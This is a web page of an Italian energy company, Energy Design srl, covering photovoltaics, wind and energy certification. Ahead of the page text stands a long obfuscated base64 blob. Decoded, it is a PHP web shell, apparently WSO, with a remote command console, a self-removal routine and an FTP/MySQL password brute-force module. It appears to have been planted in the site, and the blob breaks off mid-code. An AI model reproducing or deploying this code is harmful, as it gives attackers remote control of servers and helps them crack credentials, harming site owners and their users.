cnMuY2g1Y2s1ZD82OlwnXCcpO30gcjV0M3JuIGYxbHM1OyI+PHM1bDVjdCBuMW01PTFsNDFzPic7DQoJZjJyNTFjaCgkR0xPQkFMU1snMWw0MXM1cyddIDFzICRuID0+ICR2KSB7DQoJCTRmKCR2ID09ICcnKSB7DQoJCQk1Y2gyICc8MnB0Z3IyM3AgbDFiNWw9Ii0nLmh0bWxzcDVjNDFsY2gxcnMoJG4pLictIj48LzJwdGdyMjNwPic7DQoJCQljMm50NG4zNTsNCgkJfQ0KCQk1Y2gyICc8MnB0NDJuIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJHYpLiciPicuJG4uJzwvMnB0NDJuPic7DQoJfQ0KCTRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQoJNWNoMiAnPC9zNWw1Y3Q+PDRucDN0IHR5cDU9YjN0dDJuIDJuY2w0Y2s9IjFkZChkLmNmLjFsNDFzLnYxbDM1KTs0ZihkLmNmLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsZC5jZi4xbDQxcy52MWwzNSxkLmNmLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9NWxzNXtnKG4zbGwsbjNsbCxkLmNmLjFsNDFzLnYxbDM1LGQuY2Yuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO30iIHYxbDM1PSI+PiI+IDxuMmJyPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICcuKEAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLic+IHM1bmQgM3M0bmcgQUpBWCA8NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PXNoMndfNXJyMnJzIHYxbDM1PTYgJy4oITVtcHR5KCRfUE9TVFsncGEnXSl8fCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkNXJyX3QyXzIzdCddPydjaDVjazVkJzonJykuJz4gcjVkNHI1Y3Qgc3RkNXJyIHQyIHN0ZDIzdCAoYT4mNik8L24yYnI+PGJyLz48dDV4dDFyNTEgY2wxc3M9YjRnMXI1MSBuMW01PTIzdHAzdCBzdHlsNT0iYjJyZDVyLWIydHQybTowO20xcmc0bjowOyIgcjUxZDJubHk+JzsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoIiQgIi4kX1BPU1RbJ3A2J10uIlxuIi53czJFeCgkX1BPU1RbJ3A2J10pKTsNCgl9DQoJNWNoMiAnPC90NXh0MXI1MT48dDFibDUgc3R5bDU9ImIycmQ1cjo2cHggczJsNGQgI2RmaTtiMWNrZ3IyM25kLWMybDJyOiNpaWk7YjJyZDVyLXQycDowcHg7IiBjNWxscDFkZDRuZz0wIGM1bGxzcDFjNG5nPTAgdzRkdGg9IjYwMCUiPjx0cj48dGQgdzRkdGg9IjYlIj4kPC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWNtZCBzdHlsNT0iYjJyZDVyOjBweDt3NGR0aDo2MDAlOyIgMm5rNXlkMnduPSJrcCg1djVudCk7Ij48L3RkPjwvdHI+PC90MWJsNT4nOw0KCTVjaDIgJzwvZjJybT48L2Q0dj48c2NyNHB0PmQuY2YuY21kLmYyYzNzKCk7PC9zY3I0cHQ+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuTDJnMjN0KCkgew0KICAgIHM1c3M0Mm5fZDVzdHIyeSgpOw0KCWQ0NSgnYnk1IScpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5TNWxmUjVtMnY1KCkgew0KDQoJNGYoJF9QT1NUWydwNiddID09ICd5NXMnKQ0KCQk0ZihAM25sNG5rKHByNWdfcjVwbDFjNSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpKQ0KCQkJZDQ1KCdTaDVsbCBoMXMgYjU1biByNW0ydjVkJyk7DQoJCTVsczUNCgkJCTVjaDIgJzNubDRuayA1cnIyciEnOw0KICAgIDRmKCRfUE9TVFsncDYnXSAhPSAneTVzJykNCiAgICAgICAgd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PlMzNGM0ZDU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD5SNTFsbHkgdzFudCB0MiByNW0ydjUgdGg1IHNoNWxsPzxicj48MSBocjVmPSMgMm5jbDRjaz0iZyhuM2xsLG4zbGwsXCd5NXNcJykiPlk1czwvMT48L2Q0dj4nOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5CcjN0NWYycmM1KCkgew0KCXdzMkg1MWQ1cigpOw0KCTRmKCA0c3M1dCgkX1BPU1RbJ3ByMnQyJ10pICkgew0KCQk1Y2gyICc8aDY+UjVzM2x0czwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxzcDFuPlR5cDU6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwcjJ0MiddKS4nIDxzcDFuPlM1cnY1cjo8L3NwMW4+ICcuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3M1cnY1ciddKS4nPGJyPic7DQoJCTRmKCAkX1BPU1RbJ3ByMnQyJ10gPT0gJ2Z0cCcgKSB7DQoJCQlmM25jdDQybiBicjN0NUYycmM1KCQ0cCwkcDJydCwkbDJnNG4sJHAxc3MpIHsNCgkJCQkkZnAgPSBAZnRwX2Mybm41Y3QoJDRwLCAkcDJydD8kcDJydDphNik7DQoJCQkJNGYoISRmcCkgcjV0M3JuIGYxbHM1Ow0KCQkJCSRyNXMgPSBAZnRwX2wyZzRuKCRmcCwgJGwyZzRuLCAkcDFzcyk7DQoJCQkJQGZ0cF9jbDJzNSgkZnApOw0KCQkJCXI1dDNybiAkcjVzOw0KCQkJfQ0KCQl9IDVsczU0ZiggJF9QT1NUWydwcjJ0MiddID09ICdteXNxbCcgKSB7DQoJCQlmM25jdDQybiBicjN0NUYycmM1KCQ0cCwkcDJydCwkbDJnNG4sJHAxc3MpIHsNCgkJCQkkcjVzID0gQG15c3FsX2Mybm41Y3QoJDRwLic6Jy4kcDJydD8kcDJydDpvbzBlLCAkbDJnNG4sICRwMXNzKTsNCgkJCQlAbXlzcWxfY2wy

Energy Design srl

Non ci occupiamo solo di fotovoltaico ed eolico. Ci interessiamo anche delle certificazioni energetiche.

Per maggiori dettagli vai nella sezione dedicata cliccando sul seguente link: Risparmio energetico


 


News

Sabato 00/00/0000
1
Leggi »
Sabato 00/00/0000
1
Leggi »